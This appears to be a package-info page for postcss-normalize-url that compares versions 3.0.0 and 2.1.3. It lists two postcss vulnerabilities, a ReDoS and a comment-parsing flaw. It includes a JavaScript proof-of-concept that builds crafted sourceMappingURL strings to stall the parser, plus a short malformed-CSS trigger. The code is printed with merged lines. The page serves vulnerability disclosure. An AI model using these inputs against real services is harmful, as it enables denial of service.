PostCSS Normalize URL is a valuable tool for web developers seeking to streamline and standardize URLs within their CSS stylesheets. Comparing versions 3.0.0 and 2.1.3, the most significant distinction lies in the updated peer dependency on postcss. Version 3.0.0 requires postcss version 5.0.4 or higher, whereas version 2.1.3 supports postcss version 4.1.16 or higher. This means developers upgrading to version 3.0.0 need to ensure their project uses a compatible PostCSS version. Both versions share identical functionalities and dependencies like normalize-url, object-assign, is-absolute-url, and postcss-value-parser, ensuring consistency in URL normalization. The development dependencies including testing and linting tools like tape, jshint, tap-spec, and jshint-stylish remain the same across both versions, indicating a consistent development and testing environment. Released just two days apart, the shift from version 2.1.3 to 3.0.0 primarily signals compatibility enhancements with newer PostCSS releases, rather than introducing entirely new features. This library is particularly useful for projects aiming for clean, consistent, and easily maintainable stylesheets by standardizing how URLs are handled. The MIT license continues to provide freedom for developers, enabling them to use, modify, and distribute the software as needed.
All the vulnerabilities related to the version 3.0.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.